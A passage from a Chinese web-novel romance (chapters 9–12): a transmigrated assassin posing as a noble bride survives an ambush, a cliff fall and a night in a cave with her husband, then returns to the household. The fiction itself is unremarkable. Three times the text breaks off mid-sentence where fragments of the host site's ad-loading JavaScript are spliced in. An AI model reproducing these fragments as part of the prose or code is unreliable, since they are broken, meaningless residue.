戒备森严,任何宾客都有请帖,进出来往都要登记造册,我自然进不来,萧府内院更甚,所以即使我轻功虽好,却也不敢轻举妄动。 我之所以发现你也是要偷密诏的同行,一是在你从花轿下来的时候,我见你的衣裙下摆处有一个云中燕的标记。前些日子,京中第一刺客所在的清云阁曾在江湖中发告,江湖上见到云中燕,则是清云阁行事,旁人勿近。 而我之所以知道你也是偷密诏,则是见萧明渊进了洞房好一会儿,都没有熄灯,我便多看了一会儿。 没有想到看到你出来,远远见你以萧夫人的姿态在府中各处探查,后来见你去了书房,好像拿了什么东西便走了,我于是便一路追了上来,见我飞檐走壁,身轻似燕。” 梁浅听到此处,不得不感叹,无面的话是真多,让他说我的事情,他给自己加这么多戏。 梁浅赶紧打断无面说道:“那这样更要做万全的准备了。” 无面这时才回道:“至于你是不是柳烟晴,我以前也没有见过,所以我也不确定,但这几日我见你这随意的样子,确实也不像大家闺秀。” 梁浅听到无面的吐槽,举起拳头,佯装要打他的样子,无面见状立即用手把自己嘴巴捂住,表示不说话了。 梁浅思考片刻便向无面说道:“今日你和我一起去,到时候你在后门守着,寻常回门一般是在黄昏之前会回去,若我太早出来找你,且只有我一人,那便是我暴露了,我们两人立即驾马离开,能跑多远跑多远。” 无面回应道:“那既然没有把握,不如现在就跑路,还能捡回一条小命。” 梁浅坚定的回答道:“无妨,我要赌一把,至于你,别想跑,我若死了,你的解药也拿不到。” 梁浅在回去的路上想,无面说的不是没有道理,若我不是柳烟晴,到时候惹怒萧明渊,前前后后这么多人,自己成功逃走的难度系数太大,即使自己身手不错,也没有全然的自信。 可是,联想到之前芸香说的,柳小姐从小一起长大的侍女离开,柳夫人选了之前柳烟晴帮过却很可能没有见面的芸香,实在可疑。 加上萧明渊说他和柳烟晴从小也有书信往来,不可能到要结婚的地步了,萧明渊连柳烟晴的画像都没有见过。 而且这段时间,看他的反应和对我的那些威胁,感觉更像是觉得我另有企图想试探我或者说是对我那日逃婚生气,可能想故意诈我的真实目的。 所以他对我是不是柳烟晴本人这个问题并没有产生什么怀疑,确实,直接调包新娘的可能性太小,一般人也不会怀疑。 所以梁浅决定赌一把,赌自己就是柳烟晴,即使不是,梁浅也赌柳家夫人是知情的,即使不知情如今我与柳家也算绑在一起,她为柳家应该也不会当场戳穿。 只要平稳度过今日,他人对于自己是不是柳烟晴这个问题便没有什么疑问了,以后自己行事也就少一些顾虑。 梁浅回到房中,才一打开门,便见到萧明渊正袒露着上半身,吃力的穿着衣服。 听到开门的声音,萧明渊抬起头对梁浅说道:“你回来啦,可否请娘子帮我穿下衣服,我这只手还在有些吃痛,使不上力。” 9. 第九章·遇刺 接下来的这半日,三人只是简单唠些家常,各自都非常客气。 梁浅在晚饭之前,乘萧明渊去更衣的时机,又向柳夫人询问是否可以将自己身边几人的贱籍文书交给梁浅做主。 这几日在萧府,梁浅发现身边只有芸香和几个仆役是跟自己从柳家过来的,其他都是萧府的人。梁浅知道想必当时柳夫人也是不想让柳家人参与太多,所以如此安排。 可是自己如今做的事情太危险,事后也没有保障,若自己逃走也不想他们因此受到牵连,所以向夫人提出想把几人的奴籍交给自己,在逃走之前用各种各样的理由想办法将其变成让他们能活下去的身份。 见柳夫人为难的样子,梁浅说道:“小女子知道这都是柳家的奴婢,自己一个外人,不该如此擅作主张,可我实在不想牵连他人,无论他是谁。” 梁浅知道,在他们眼中,奴婢不过是主人家的财产,若自己逃走,只要不牵连柳家,柳家是不会在乎这几个人的,柳府其他人仍然继续着自己的生活,不会有人记得的。 所以梁浅只想现在能救一个是一个,不想牵连到他人,自己好像能做的只有如此了。 梁浅向柳夫人行了一个大礼,迟迟未起身,此时柳夫人才叹气道:“罢了,你也是好心,可他们的奴籍文书此次进京,我并未带来,待我回到家中,问过老夫人,再让人给你捎过来可好。” 梁浅听到此,便再次向柳夫人行礼道:“在此深谢夫人。” * 梁浅和萧明渊吃过晚饭后,便启程回府了,可是梁浅却发现回府的路和来时的路不是同一条。 梁浅在现代虽然养成了依赖导航的习惯,但是对于这是不是同一条路还是很明显的,只要记住沿路上的一些标志,比如商铺,树木,就可以看出明显的不一样。 如今这条路不仅越走感觉周边越荒凉,路也越走越颠簸,梁浅见对面的萧明渊正在闭目养神,便掀开马车前面的帘子,向正在驾车的无面问道:“还有多久才到侯府?” 没有想到无面还没有回答,萧明渊先回答道:“应该快了。” 梁浅看向无面,眼睛微眯,眉头微蹙,无面仿佛也看出不对劲的地方了,看见梁浅的神情,便轻轻摇头表示自己也不知道,看样子都是前面萧明渊的侍卫引的路。 梁浅放下帘子,假装无意地对萧明渊说道:“我见如今我们回府的路和来时的路好像不一样。” 萧明渊仍然闭着眼睛,半晌才说道:“想带娘子多看些京城的风景,便让他们绕了城外的远路。” 梁浅点了点头,心中却不相信这样的理由,正在梁浅发呆思索的时候,一只冷箭从天而降。 今日回门,两人乘坐的马车算侯府中较为华丽的马车,可是与此同时,其实也是没有经过改造加固的马车,只是一个花架子。 刚刚那只箭直接从侧边窗户处飞了进来,正从梁浅眼前飞过,萧明渊抽出袖口的匕首一挡,箭便断成两截跳开,梁浅又被这弹开的断箭吓了一跳。 萧明渊将匕首丢给梁浅,自己也拿起手边的佩剑从后门跳了出去,此时更多的箭朝车队飞来,梁浅虽然之前感觉穿过来的自己身手不错,可是这种场面自己也是第一次见,着实被吓了一跳,只敢悄悄躲在马车中。 因为萧明渊下车和侍卫共同抵抗,所以暂时没有什么箭再飞进马车,箭雨过后,沉默片刻,埋伏在道路两旁的人从草丛中跳了出来。 梁浅听着外面兵器碰撞在一起的声音,自己的心也在砰砰跳着,只听到无面说:“大姐,要是不对劲,我可得先跑了,与此在这里死,不如毒死,我还可以多活几日。” 梁浅对无面的絮絮叨叨吐槽道:“闭嘴吧你。” 突然有人打开了车门,梁浅便把车上的茶水一股脑的倒了过去,水此时已经不烫了,但是也确实让来人迷了一下眼睛。 果然不是自己人,来人穿着寻常衣物,脸上蒙着黑巾,想必就是袭击车队的贼人了。 梁浅乘机跳下马车,这样在马车上坐以待毙确实不是良策,不如下来看清形势,寻找生机。 正当另一个贼人拿着刀打算朝梁浅这边砍来时,梁浅本能先用自己的武功接住这招,自己的身体自己的肌肉记忆告诉自己,自己能接住这招。 可瞥见萧明渊和他的侍从就在不远处迎敌砍杀,此时有一个声音告诉自己,自己现在扮演的是闺阁中的大小姐柳烟晴,这一招接下去必然暴露,而周围两拨人也打得不分上下,并且贼人的数量占了优势,车队也被打散分到各方。 梁浅只有尽力闪躲,但是当几个贼人都盯上她时,梁浅腹背受敌,背后眼见就要被人伤到。 此时无面跑过来,一手拿着木棍,一手拿着马鞭,将贼人即将砍向梁浅的刀一脚踢开,然后站在梁浅身后。 梁浅便躲避着攻击边对无面说道:“某人不是说先跑吗,怎么还在这里。” 无面尽力打退着靠近两人的贼人,但显然他的招式都很简单,没有使出三成的功力,他也不想暴露,在装自己武功不好。 无面回应道:“没办法,我这个人虽然惜命,却也见不得见死不救,你倒是能忍,这会儿都不愿意打回去。” 突然无面瞥见远处小山坡上,有一群同样带着黑色面巾的人,中间的一位男子像是他们的领头,当他看到柳烟晴时,便低头朝身边的人吩咐着,不一会儿那群人便到了梁浅的身边。 无面心中猜想,想必不会要这女子死,可能要抓活的,干脆试试那位萧侯爷对她的情谊,也好帮助我们更好拿到密诏,哪怕被带走,这女人定是也能自己逃出来的。 于是梁浅突然感觉自己被人推了一把,便正好撞到了一个贼人的怀中,被贼人一把抓住,等梁浅回头却只看见无面悄悄的滚到了草丛中。 而此时的贼人也不像刚刚要杀 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的凶狠样子,而是想把她迅速带走,梁浅也瞬间猜到了无面的用意,便大声的喊着萧明渊的名字,下一秒便被人捂住了嘴巴。 萧明渊听到后迅速结束缠斗,便追了过来,只有几名侍卫跟在其后。 梁浅被带着从刚刚的路边往山中走去,跑了好一会儿,到了一处山崖处,只有一个吊桥连接着两边山崖,梁浅心中泛起不安的情绪。 果然,山崖对面有人接应,萧明渊此时也赶到了吊桥追了过来,但是萧明渊才走到一半,梁浅便见到他们用刀砍断本来就不牢固的吊桥,梁浅想阻止也来不及了。 捂住梁浅嘴巴的那人在最后一个到达山崖对面,梁浅见萧明渊马上就要掉下去,后面的侍卫也还有好一段距离,便一狠心,用力张嘴咬了捂住自己的手,用还没有被束缚住的脚用力的踢向那人的脚。 那人一吃痛,便放开了梁浅,于是在萧明渊掉下悬崖的瞬间,梁浅也跟着跳下了悬崖。 梁浅在跳下的那一刻,看见了萧明渊无比吃惊的眼神,心想这下自己才是真的完了,不知道这下死了能不能穿回去,还是直接就去见阎王了,哎,这萧明渊不就说是阎王嘛。 梁浅心中轻笑,死到临头还给自己讲了个冷笑话。 * 梁浅再次醒来,便是被湖水的冷意拍醒的,梁浅用力睁开眼睛,见此时已经接近傍晚,自己掉到了湖中,看来其实悬崖距离不算很远,加上还有几棵树挡了一下,所以才幸存了下来。 好吧,看来这里的生活还得继续,梁浅吃力的站起身来,才看到萧明渊正躺在不远处的湖边。 梁浅慢慢的走了过去,俯下身探了探萧明渊的鼻息,发现他还有气,边用手弄水撒在他脸上,边叫着他的名字。 见萧明渊慢慢转醒,梁浅才松一口气,抬眼看到他身上有好几处伤痕,浅色的衣服显得受伤处的血痕更加明显。 “萧明渊快起来,夫君,快些起来,想必两波人都会来找我们,要是让那活贼人先找到我们就完蛋了。”梁浅边说着边吃力的扶着萧明渊起来。 萧明渊一直没有说话,只是和梁浅一同搀扶着,找能躲避的地方。 终于梁浅见到有一处墙壁旁边的草木被一小股风吹着,发现此处有个隐蔽的山洞,便扶着萧明渊进去。 或许是因为如今这幅身体是习武之人的原因,加上除了跳下悬崖的伤,梁浅没有别的伤,梁浅感觉自己比萧明渊的状态要好许多。 梁浅扶着萧明渊靠在岩壁上,见萧明渊好像又迷迷糊糊要睡了过去,便把自己是外衣脱下来盖在他的身上,轻声对他说道:“萧明渊,我这会儿出去找点能用的东西,你自己乖乖的在这里,不要发出声音,好不好。” 萧明渊看着表情有些痛苦,听到梁浅这话便闭着眼睛轻轻点了点头。 梁浅摸了摸他的额头,感觉他的体温还算正常,便悄声出去掩盖二人的痕迹。 10. 第十章·单独相处 梁浅悄悄的走出山洞,此时虽然已经天黑,但还好月光也透进树枝照了进来,梁浅在林中慢慢摸索着,找到了一些枯木和其他一些可以用的东西后先放回洞口,一会儿再过来拿进去。 梁浅又尽力去掩盖二人来时的踪迹,后走到湖边探查是否有人跟来,又摘了几片叶子盛了一些水带了回去。 梁浅进来便看到萧明渊靠在墙上,感觉状态不好。 萧明渊此时还闭着眼睛,眉头紧蹙,脸上都是汗珠,梁浅轻轻将萧明渊叫醒。 见萧明渊睁开眼睛,梁浅便将手中的水递到他嘴边,萧明渊喝了水后,有些吃力的说道:“我身上带有一些药,你帮我拿。” 梁浅便在萧明渊的身上找了起来,先是看到他手臂上昨日的伤又崩开了,血都透过纱布渗了出来,而后见到他身上还有其他几处伤口也渗着血,可能因为被水泡过,所以有些发炎了。 梁浅在萧明渊的腰间摸到了药,同时还找到了他身上带着的火折子,给萧明渊喂了药。 梁浅顺口问道:“这药你是常备在身上的?” “常年在外征战,也遇到过受伤和队伍走散的情形,所以出门边带着这些药用来救急。”萧明渊回答着。 梁浅便试着看火折子还能不能用,她用捡回来的枯树枝和枯叶搭了一个小小的火堆,然后便将一些枯草铺在一旁做成一个有些潦草的草席,扶着萧明渊坐到上面。 梁浅说道:“放心,我们这里是安全的,我掩盖了我们来时的踪迹,洞口我也用杂草碎石掩盖住了。” 见萧明渊吃了药,脸色稍微好了些,梁浅便打算将两人打湿的外衣一同拿到火边烤干,可在给萧明渊解腰带时候,却摸到他腰后有什么东西。 梁浅将他的腰带解开,把东西从萧明渊的身后拿出来,看样子像一个武器,上面带有可以伸缩的爪子和绳索,梁浅心想,这人一直带着这个,身上不硌吗。 “这是什么?”梁浅疑惑地问道。 萧明渊此时清醒了许多,轻声回答道:“这是鹰爪。” “用来干嘛的?杀人的?”梁浅边脱着萧明渊的外衣,边问道。 “不太用来杀人,倒是可以用来救人。”萧明渊说道。 梁浅联想到自己在现代看的电视剧,再看看手里这个奇怪的东西,问出自己的猜测。 “莫不成这个是可以用来抓在崖壁上自救的?” 萧明渊看着跳动的火苗,嗯了一声,梁浅将东西放在旁边,自己则拿着衣服到火边烤。 待梁浅站定,她向萧明渊问道:“那你刚刚怎么不用?” 萧明渊靠着岩壁回应,“那东西只承载得了一人的重量。” 两人都沉默了会儿,萧明渊先打破沉默说道:“我很吃惊,你居然会一起跳下来。” 梁浅边把自己手中的衣服翻着面烤,一边回应着,“我想你毕竟也是为了救我才来的,所以想着能救则救,救不了也算我仁至义尽了,没曾想到你原来有办法自救。” 梁浅没有说出口的后半句话便是,如今到显得我有些自作多情了。 确实在悬崖上也是一时激动,心想这人毕竟也是为了救我才涉险的,自己视如无睹不好。 且对方人多势众不清楚其目的,无面可能觉得我没问题,但是那是对于专业的刺客的以前的我,而不是只凭借肌肉记忆出招的梁浅自己,所以自己其实逃出的把握也不大,不如放手一搏。 萧明渊听出梁浅话语中的情绪有些变化,于是往前坐了坐。 然后说道:“我还是得感谢娘子的奋不顾身,虽说我有自救之法,但今日的情形已经超出了我原来的想象,我手臂上新伤旧伤叠加,想自救也是不行的。 故此,若没有娘子相救,我想必这会儿还在水里泡着。” 萧明渊说完便吃力抬起手向梁浅行了一个礼,梁浅见状刚刚的伤感情绪也少了许多,伸出手来扶住萧明渊说道:“好了好了,我知道了,你本来身上还有伤,快坐好。” 萧明渊淡淡的笑着坐了回去,梁浅将萧明渊的外衣烤干后,便拿起盖在他的背上,又把一旁半干的自己的外衣拿过来烤。 见萧明渊清醒许多,梁浅便问道:“今日袭击我们的人是谁?你心中可有数?” 只听到萧明渊一声嗤笑,便听到他说:“无名小儿罢了。” 梁浅转过头看着他,见他哦表情确实有些倔强的样子,自己便说道:“是,无名小儿,这无名小儿直接让我们萧家的马队乱作一团,更让侯夫人被劫,侯爷掉下悬崖,生死未卜。” 梁浅调凯的说着,只见萧明渊有些孩子气的把头扭过去,梁浅见到他这个样子,笑出了声音。 思索片刻,梁浅还是决定问问:“所以今天袭击我们的那帮人和昨日伤你的背后是同一个人吗?” “有关联,可没有这么简单,这次是我太过于自信了。”萧明渊说完低头沉思着。 梁浅也想通了今日的奇怪之处,想必一定是萧明渊早就猜到会有人要袭击我们,所以故意走不同的路,自己身上还带着这些应急的东西。 梁浅也有些阴阳怪气的问道:“所以你这是故意引他们出动?” 萧明渊点了点头,“只不过我没有想到那人如此大胆,出动了这么多人,也是我的疏忽,我小瞧他了。” 梁浅心想原来他早就知道,怪不得他连饭都多吃了几口。 梁浅转头看向火里,自己懒得问背后这人是谁,自己本来也不打算知道太多他们的秘密。 俗话说,这人知道越多,死得越快,如今侥幸存活,还是能多苟一会儿就多苟一会儿。 梁浅往火堆里丢着枯木,又突然反应道:“你自己要引他们出动,你自己来便是,为何要搭上我,而且你为何也不给我提前透露一些,好让我做点心理准备,今日真吓了我一跳。” “的确是我的不是,今日让娘子受惊了。”萧明渊语气平和的说道。 “实是今日事发突然,我也是听到消息后临时起意,便不想错过这个机会,若才 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 回门就让娘子单独回去,怕也得不到引蛇出洞的效果,但请娘子放心,我身边的万星和月银定会来寻我们的。” 梁浅吐槽道:“你这侯府夫人可不好当。” 萧明渊轻轻笑着,见梁浅有些发抖,便往她这边坐了过来,和梁浅并排坐在一起。 梁浅看了萧明渊一眼,没有在意,将自己的外衣盖在前面,然后转身坐着。 萧明渊见状疑惑的问道:“娘子这是?” 梁浅用看着笨蛋的眼神看着萧明渊,“前面烤干了,我烤烤后背呀。” 萧明渊笑了出来,也学她的样子转身烤自己的背面。 萧明渊偷偷的看着她的脸,见梁浅只是看着某处发呆,脸上并没有什么表情,萧明渊脸上却浮现出一抹温暖的笑意。 两人并排烤了一会儿,梁浅便打了打哈欠,萧明渊便说道:“困了便一同躺下休息吧,放心,我都这样了,不会对你做什么的。” 梁浅看了看他,困意也确实有了,便躺在了刚刚铺的草席上。 萧明渊也跟着躺了上去,梁浅睁开眼睛,正好与他四目相对,梁浅便翻了个身。 萧明渊怕梁浅滚到火堆里,便将两人的外衣叠在一起盖着,伸手将梁浅往自己拢了拢。 梁浅刚刚的睡意去了一大半,只是闭着眼睛装睡,萧明渊的声音从身后传过来。 “你那日,为何要逃婚?”萧明渊用平静的语气问道。 梁浅叹气,无奈的回答,“你偏偏要在这个时候问吗?”梁浅轻轻转头问道,“夫君觉得是什么原因呢?” 萧明渊说道:“我想你是对我不喜,所以才将当年先帝帮我们写的婚书拿走了。” 梁浅心想原来自己当时偷错的密诏竟然是他们两个的婚书,确实一直在说先帝的密诏,可是却不知道具体是什么内容,同样是先帝的字迹认错确实是有可能的。 梁浅问道:“先帝书写的婚书?” 萧明渊说道:“嗯,父亲去世后,听闻柳家有些担心,我便专门去信宽慰老夫人和夫人,先帝待父亲如同亲兄弟,以为我当年要成亲,便帮我们写了婚书。 后来我上书戍守边疆直至稳定,才推迟了婚约的时间,先帝私下书写的婚书我便放在了书房。 与你成亲时,新的礼单等等我都是自己重新书写的。” 梁浅听得昏昏欲睡,本来就困,心想倒是第一次听萧明渊说这么多话。 突然萧明渊说完,便轻轻的吻了吻梁浅的脸颊。 梁浅闭着眼睛有气无力的说道:“你这是干嘛?” 没有想到萧明渊说道:“娘子,我今日功课交了。” 梁浅心里也是被这人无语到,都这个时候了,还想着这个事情。 梁浅只想赶紧休息了,便糊弄着说道:“我的先欠着吧,改日,我累了。” 萧明渊这才乖乖躺下,听着山洞里有股风轻轻吹动的声音,听着火烧着木头跳动的声音,听着她浅浅的呼吸声,萧明渊终于有了困意睡下。 11. 第十一章·回家 洞口有一小束阳光照了进来,昨夜生的火也已经熄灭,梁浅慢慢转醒。 刚刚的梦里,梁浅梦到自己之前面试得很晚,才到公交车站便下起了雨,可是自己回学校的车刚刚开走。 车站聚集了很多躲雨等车的人,梁浅一个人站在边缘,自己不断的刷新着车站信息,雨也不停的落在手上,手机屏幕上,自己肩膀上。 梁浅起身时,摸了摸萧明渊的额头,还是有些发烫,想必还是有些低烧,自己便起身到外面去找水。 梁浅小心翼翼的走到湖边,确定周围没有人之后才躲在湖边洗脸。 可是刚刚洗好,湖面也逐渐平静,却隐约见到水面映照的身后有一个人影朝自己走过来。 梁浅按兵不动,等到那个人影靠近自己的时候,突然一往旁边一倒,那人便一下子扑空掉进了水里。 梁浅面前的湖边的水还不算太深,那人落在水中扑腾,见穿着正是昨日的袭击自己的蒙面人。 梁浅立刻转身往树林中跑去,刚跑出一段距离便听到那人好像爬上岸的声音,梁浅顾不得转身回头看,只是顾着往林子深处跑去。 梁浅不敢往昨晚的山洞跑去,尽力往记忆中车队遇袭的方向跑去,想必萧府的人过来找也一定从那边过来。 果然梁浅跑了一会儿,听到前面有人经过的声音,便偷偷的躲在草丛中打算静观其变。 刚刚湖边的那个人也追了过来,正在一路慢慢查看着,同时梁浅也见到刚刚听到声音的一队人正在慢慢靠近,正是府中的侍卫月银带队。 梁浅心想若是这一个人,自己还是有把握能搏一搏的,于是计上心头。 梁浅拿出昨天萧明渊拿给自己的匕首,在两者即将见到面的时候,梁浅突然跳出来,从背后袭击蒙面人。 仿佛自己之前刺客的血液又觉醒了一般,梁浅一刀就刺中了那人的要害,只不过可能因为才穿越过来自己的能力还没有习惯,所以力度有些不足。 那人缓慢转过身来,梁浅见到月银等人也注意到了这里的动静,自己便大声的喊道:“我死也不会告诉你侯爷在哪里的!” 然后便故意用一只手去抵挡那人势微的刀,下一刻其他人及时赶到便杀了那名黑面人,梁浅只是受了一点皮外伤。 但是梁浅表现得非常夸张,在看见那人晕倒的片刻便立即装作腿软坐了下去。 月银等人赶过来扶起梁浅,只见梁浅抬头满脸是泪,嘴里说着:“快去救侯爷。” 梁浅装作步伐沉重的样子,带着几人来到洞口,在见到众人扶着萧明渊出来的时候,梁浅便晕了过去。 这晕确实绝大部分的是装的,为了引起萧明渊的同情和信任,但是确实也是经历这惊心动魄的两天太累了。 晕倒之前,梁浅见到脸色还有些发白的萧明渊关切的眼睛,此时他脸上的神情终于少了几分猜忌和不信任,梁浅便知道自己的目的达到了。 * 梁浅再次醒来,便是回到了萧府,果然还是躺回来了,终究是还是回到这里了,逃出去果然没有这么简单,梁浅无奈的在床上翻了翻身。 结果却感觉自己的手好像碰到了人,梁浅将被子和挡住的帘子轻轻拉开,果然萧明渊躺在旁边。 梁浅心想,这萧明渊的侍卫们可真能干,救得了人,杀得了人,如今也真会照顾人。 梁浅一看自己身上受伤的地方也已经包扎好了,昨日还有些头晕和胸口疼,如今应该也喂了药,身体好多了。 转头看到萧明渊也换好干净的里衣了,手臂上也包扎好了,隐隐见到没有系好的胸口也有些绷带的痕迹。 梁浅赶紧收回目光,萧明渊听到梁浅的动静便说道:“太累了,再睡会儿,反正无事。” 梁浅又乖乖的躺下,正好也困,也懒得计较这会儿和他躺在一张床上这件事,倒下便又累的睡着了。 睡了好一会儿,梁浅被饿醒了,却因为萧明渊睡在外面,自己不好意思从萧明渊的身上翻过去,便伸手戳了戳萧明渊的肩膀。 “夫君,饿啦。”梁浅才醒来有些语气慵懒地说道,在萧明渊听来反而有点撒娇的意味。 萧明渊站起身来,说道:“我先给你拿着茶水果子垫垫肚子,再吩咐厨房做了晚饭端过来可好。” 梁浅还在困,只是睡眼惺忪的点点头嗯了一声。 萧明渊站起身先开门吩咐外面的人,然后便到桌子边倒了一杯茶,才把糕点一起端到床边。 梁浅慢慢坐了起来,萧明渊便把茶水递到梁浅的嘴边,梁浅顺势喝了一口。 梁浅喝完以后,终于醒了不少,这时候见到萧明渊又拿起糕点递给梁浅,突然想到自己好像伤得没有萧明渊重,还让他这样服侍自己,心里突然有点过意不去。 梁浅便笑着说道:“多谢夫君,夫君辛苦了,夫君也吃点。” 可是梁浅又突然想到,他要引蛇出洞的时候也没有考虑过我的安全呀,一句超过预期便可以清除他所有责任吗,自然不能。 且本来自己也不想和萧府,和他有更多的纠葛,心硬一点应该也没有什么,便理直气壮的从萧明渊手里接过糕点,萧明渊见状只是低头偷笑。 梁浅拿着糕点,便挪过来和他一起做到床边,两人便坐在了一起,慢慢的吃着糕点。 外面的阳光透进来,仿佛已经到了傍晚了,两人就这样并肩的坐着,房间里面很安静,谁都没有说话。 梁浅觉得此刻特别像自己高中的时候和那个面冷心热的帅气同桌一起偷吃零食的时候。 平时梁浅以为他只顾着学习,感觉没有什么别的爱好,以为他很高冷。 班主任哪怕下课都不准吃零食,所以在她偷吃零食的时候,被他看到,他只是浅浅一笑。 当梁浅分享零食给他的时候,他也笑着接了过去,两人就这样心照不宣的坐在一起,那天窗边的阳光也如今天这样温暖灿烂。 “对了,昨日的事情怎么样了?我们家的人可都安好。”梁浅想打听下看 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 看无面那个人到底是又回来了,还是趁机逃走了。 “有几个侍卫受伤,其他人都安好。”萧明渊边吃着糕点边回答着梁浅。 梁浅心想这样看来无面应该也回来了,昨日回程,萧明渊分了两队,芸香负责去安排另一队的采买等事宜,想来昨日攻击的目标也不是他们,应该无事。 梁浅正在吃着,却余光看到萧明渊拿着刚刚自己喝过的茶水在喝,梁浅赶紧回避了目光。 “听月银他们说,府中有了一些传言。”萧明渊吃得差不多了,便只帮梁浅拿着盘子淡淡的说道。 梁浅抬头疑惑的看向他,然后眼神示意着他继续说下去。 萧明渊则继续说道:“府中人都在传,说我新婚第一日便抱了一位小娘子回来,你这侯夫人的位置坐不稳啦。” 梁浅正喝着最后一口茶水,原本没有在意这个事是什么,听萧明渊说完却一下子将口中的水都喷了出来。 梁浅皱着眉头疑惑的问道:“小娘子?” 梁浅回忆那日清晨,自己确实是萧明渊抱着一路进府的,虽然极力隐藏,但还是被人看见了。 怪不得那日路上遇到的下人的眼神都很奇怪,这下都说的通了。 萧明渊见到梁浅这样子便好像达到目的般的偷笑着说道:“是呀,所以侯夫人可要处理一下那位小娘子?” 梁浅一时没有回过神来,只是第一反应的回道:“啊,你还真藏了一个小娘子呀,怎么样,美不美?” 萧明渊听到这话,便收起了刚刚的笑容,假装生气的往梁浅额头上弹了一下,“你说呢?小娘子。” 梁浅被他弹得吃痛,一手拿着点心,一手捂着额头说道:“好痛,哼,知道了知道了,任他们说便是,你若真带了其他女子回府,自然会安排人去服侍,等过几日,府中上下仍各司其职,没有发现这位小娘子,这谣言便不攻自破了。” 萧明渊此时的脸色缓和许多了,看着还在吃东西的梁浅又笑了出来。 萧明渊又问道:“若我真的带了其他女人回来,你可会嫉妒?” 梁浅边吃着东西边回头看着他,心想这人今日话怎得这样多,难不成把脑袋摔傻了。 梁浅吃完最后一块糕点,转头带着调凯意味的说道:“那若是我带别的男子回家,你可会嫉妒吗?” 萧明渊没有想到她这般回答,只是下意识就回应到,“你敢!” 梁浅见到他有些生气便又来了兴趣,故意的挑衅道:“怎么不敢,你都可以带人回来,我为何不行,你都不拿我当唯一,我为何还要拿你当唯一。” 梁浅这回答,一方面懒得再装贤良淑德,另一方面若是他因此讨厌自己,忽视自己,自己反而有机会逃了,至少目前他对我的信任是有的。 梁浅心想,寻常男人遇到这种问题必然会和自己辩驳一二,更不说这可是古代。 可萧明渊沉思片刻,只说道:“好,那我们答应对方,都只是对方的唯一,此生绝不背弃对方。” 12. 第十二章·无语 无面 二人四目相对,梁浅一时不知道怎么回应,此时外面的芸香扣门的声音终于打破了这份平静。 两人对坐着吃饭,梁浅坐下便问芸香:“芸香,你们可有受伤?” 芸香笑着回应着,“多谢烟晴,小姐关心,芸香无碍,姑爷小姐才是吓芸香一跳。” 梁浅安心的笑道:“我们无碍,那可用过晚饭了?” 见芸香笑着点头退了出去,完全没有给梁浅邀她一同吃饭的机会,梁浅才将目光收回。 然后梁浅便专心的开始了吃饭,饿了这么久,终于可以吃一些像样的饭了。 于是梁浅吃起来便有些忘了自己的淑女角色,只顾着狼吐虎咽,也没有注意到萧明渊看到她的吃相偷笑着。 已经吃了个半饱,梁浅才想起来,萧明渊和她一起同吃,这才注意起自己的仪态。 然后才做作的慢慢的夹菜,细致品尝,然后还给萧明渊夹了几块肉说道:“夫君辛苦了,多吃些肉,妾身刚刚有些失态了,还望夫君见谅。” 萧明渊见她突然变成这副样子,想笑却直接被嘴里的一口汤给呛住。 等恢复了镇定,萧明渊才说道:“娘子不用如此拘礼,我从小在军中长大,不用在乎这些虚礼,每顿能吃饱,不浪费粮食就行了。” 梁浅眼睛忽然亮了,“真的啊?那我可不客气了。”梁浅笑眯眯地说道。 此时萧明渊身边的侍卫万星来向他禀报自己调查的结果,萧明渊往梁浅这边看了一眼。 梁浅正夹起一大块肉在嘴里嚼,见状便朝萧明渊说道:“去吧去吧,你们有事就先去忙,不用管我,你自己注意身体。” 萧明渊礼貌朝梁浅点了点头,便穿上外衣带着侍卫出去了,走之前和梁浅说道:“烟晴,今晚你早些睡,不必等我。” 梁浅点了点头,见二人走远,梁浅便叫芸香,让她把无面叫过来。 原本听萧明渊说只有几个侍卫受伤,便以为凭借着无面的身手,应该不至于受伤。 却没有想到芸香却说他受伤了,还需要休养,或许明日才能下地来见梁浅。 梁浅听闻便提出那就自己亲自去看看他,正好有事要找他商量,却没有想到这无面预判了她的预判。 竟然请了人过来传话告诉梁浅,自己今日身体抱恙,不适合探望。 梁浅自然懂他的意思,想必是他今日有事,自己去探望难免暴露或者尴尬,所以才专门来提醒自己的。 那昨日的无面到底经历了些什么呢?这也是梁浅第二日去找无面才了解到的。 * 昨日无面将梁浅推了出去,自己便偷偷的躲在了草丛中装晕,结果发现半天没有人过来找自己。 刚刚瞥见萧明渊也跟着追了出去,看来计划凑效了。 等无面探头出来,满地只有袭击马车的蒙面人了,萧明渊的侍卫应该也都追了过去,所以才没有注意到他。 无面扶了扶自己的小帽子,疑惑的看向这混乱的一切,一时竟然不知道怎么做才是上上计。 此时确实是个逃跑的好时机,可如果现在趁机逃走,身上的毒还没有解,怕是还没有到师父家门口就已经倒了。 可若不跑,萧家夫妇如今生死未卜,若这侯夫人带着药一起跑了,自己也是个死,算了,自己还是跟过去看看吧。 可就在无面往梁浅被挟持的地方走去的时候,突然感觉躺在地上的其中一个蒙面人往他这边丢了一个暗器。 无面将身子轻轻一偏,便躲过了这一次袭击,却没有想到,旁边的一个人已经全然站起,正拿刀朝无面这边砍来。 还没有等无面反应,一只箭便正冲那人的背部,无面转身一看,原来是萧明汐带着萧府的府兵来了。 其实除了一些擦伤外,无面没有什么大伤,只不过他一见到萧明汐来了,便装作手臂很痛的样子。 萧明汐骑着马带着众人赶到,一手拿着弓箭,刚刚那名贼人正是她射杀的。 萧明汐下马疾步走来,朝无面关切的问道:“哥哥嫂嫂呢?” 无面本来以为萧明汐过来肯定会先问自己伤势如何,都做好了怎么卖惨的准备了,所以听到萧明汐这样问,愣了一下。 “夫人被那贼人抓走了,侯爷跟着去追,已然不知所踪啊。”无面边说着,边用另外一只假装还好的手擦着眼泪。 萧明汐听到这番话,便立即安排起来,让一队人留在此处整理现场,另一队人跟随自己去追梁浅等人。 正当萧明汐要走的时候,突然回头对着无面说道:“对了,阿无,你的伤势如何,还是就留在这里等我们回来吧。” 无面显然是给点阳光就灿烂的那种,瞬间变化表情,笑着说道:“无碍无碍,我还是跟着二小姐一同去吧,我也担心侯爷和夫人。”无面感觉自己笑得有点太夸张了,说着说着便神情又变得很担心的样子。 